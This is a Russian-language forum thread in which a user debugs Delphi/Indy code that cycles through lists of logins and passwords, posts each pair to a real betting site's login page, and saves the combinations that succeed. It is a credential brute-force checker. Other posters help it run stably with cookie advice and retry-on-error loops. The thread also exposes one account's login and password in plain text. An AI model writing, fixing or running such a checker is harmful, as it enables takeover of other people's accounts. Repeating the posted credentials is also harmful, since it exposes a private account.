Вот так полностью выглядит ошибка: Socket error #10060 connection timed out. Почитал в инете она возникает в разных ситуациях, поэтому пришёл на форум. Я уже голову сломал) Вот весь код: Code: unit Unit2; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdAntiFreezeBase, IdAntiFreeze, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdCustomTransparentProxy, IdSocks; type TForm2 = class(TForm) Memo1: TMemo; Memo2: TMemo; Memo3: TMemo; Edit1: TEdit; Edit2: TEdit; Edit3: TEdit; Button1: TButton; Memo4: TMemo; IdHTTP1: TIdHTTP; IdAntiFreeze1: TIdAntiFreeze; IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form2: TForm2; implementation {$R *.dfm} procedure TForm2.Button1Click(Sender: TObject); var postdata:TStringList; i,good,pass,login,ii,chislo:integer; begin i:=0; good:=0; ii:=0; chislo:=1; login := memo1.Lines.Count ; pass:= memo2.Lines.Count; form2.IdHTTP1.HandleRedirects:=true; while good<=login do begin edit1.Text:=inttostr(login); edit2.Text:=inttostr(pass); postdata:=TStringList.Create; postdata.add('do=login'); postdata.add('doaction=1'); postdata.add('trg='); postdata.add('cs=registration'); postdata.add('qs='); postdata.add('sport='); postdata.add('league='); postdata.add('toto_id='); postdata.add('oddval='); postdata.add('sbm='); postdata.add('login='+memo1.Lines[i]); postdata.add('password='+memo2.Lines[ii]); memo3.clear; memo3.text:=IdHTTP1.Post('https://www.leonbets.ru/login', postdata); application.ProcessMessages; if pos('<div class="ttl" valign="top">',memo3.Text)<>0 then begin good:=good+1; memo4.Lines.Add(memo1.Lines[i]) ; memo4.Lines.Add(memo1.Lines[ii]) ; memo4.Lines.Add('-----------------'); i:=i+1; ii:=0; end; if ii=pass then begin ii:=0; i:=i+1; end; chislo:=chislo+1; edit3.Text:=inttostr(chislo); postdata.clear; ii:=ii+1; end; end; end. Судя по всему, что то с запросом.....а хотя я уже хз. Акк для тестов---------------7368740;qweewq
Вырвал кусок кода: Code: unit Unit2; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, StdCtrls, IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL; type TForm2 = class(TForm) Memo1: TMemo; Button1: TButton; IdHTTP1: TIdHTTP; IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form2: TForm2; implementation {$R *.dfm} procedure TForm2.Button1Click(Sender: TObject); var postdata:TStringList; begin form2.IdHTTP1.HandleRedirects:=true; postdata:=TStringList.Create; postdata.add('do=login'); postdata.add('doaction=1'); postdata.add('trg='); postdata.add('cs=registration'); postdata.add('qs='); postdata.add('sport='); postdata.add('league='); postdata.add('toto_id='); postdata.add('oddval='); postdata.add('sbm='); postdata.add('login=7368740'); postdata.add('password=qweewq'); memo1.clear; memo1.text:=IdHTTP1.Post('https://www.leonbets.ru/login', postdata); if pos('<div class="ttl" valign="top">',memo1.Text)<>0 then begin showmessage('ОПля!'); end; end; end. Вот посидел потыкал иногда срабатывает, а иногда ошибку выдаёт. Как сделать что бы стабильно работал?
Это как понимать? З.Ы. Сам не тестил, но скорее всего дело в куках (используй компонент IdCookieManager со вкладки IDMisc, его нужно прикрутить к компоненту IdHTTP)
Преобразуем число в строку, просто в цикл я зачем то положил)) Если куки прикрутить, то мало того, что это не поможет, да ещё и если авторизируюсь надо будет запросом на выход нажимать..
Не не помагло, да и не должно было помочь) Куки же для того,что бы по сессии гулять даны. А в моей ситуации они причём?
Хм, а меня зацикленным редиректом шлет по кругу: 11 https://www.leonbets.ru/account?do=account -> https://www.leonbets.ru/login?trg= 12 https://www.leonbets.ru/login?trg= -> https://www.leonbets.ru/account?do=account
Я сам семёрой пользовался тоже с инди рамс был я просто новую делфи скачал и норм. У меня просто ещё и винда семёрочка и как то она тяжко делфи7 воспринимала..
Я знаю что через try можно так сделать, что если ошибка будет то программа просто заново цикл прогоняла с теме же параметрами. Как в моей ситуации сделать?
вот выдрал из своей проги (не знаю, может многоуважаемая публика заклюет за такой код) ExcStringList:TStringlist; это список, куда заносится инфа об ошибках, например 16 Trying to post 0 http://www.mysite.com 16 Post error 0 site: http://www.Mysite.com Error: Socket Error # 11001 Host not found. Terminated: это свойство потока, заменишь на какое-то свое условие Temp: Счетчик количества попыток Pr.SiteToPost: http://www.Mysite.com Pr.SiteAnswer: Собственно результат http.post SiteToWork: номер сайта в списке e.Message: код Exception'a Code: Temp:=0; repeat if not terminated then begin ExcStringList.Add(IntToStr(TempSitetoWork) + ' Trying to post ' + IntToStr(Temp) + ' ' + PR.SiteToPost + ' '); end; try if not terminated then PR.SiteAnswer := http.Post(PR.SiteToPost, data); except on e: EIDexception do begin ExcStringList.Add(IntToStr(TempSitetoWork) + ' Post error ' + IntToStr(Temp) + ' '); ExcStringList.Add('site: ' + PR.SiteToPost + ' Error: ' + e.Message + ' '); PR.SiteAnswer := ''; end; end; if (PR.SiteAnswer <> '') and (not terminated) then begin ExcStringList.Add(IntToStr(TempSitetoWork) + ' Posted'); end; Temp := Temp + 1; until (PR.SiteAnswer <> '') or (Temp > 2) or (terminated); Код будет выполнятся, пока: 1) будет получен ответ сайта; 2) количество попыток будет 3; 3) поток получит команду terminate;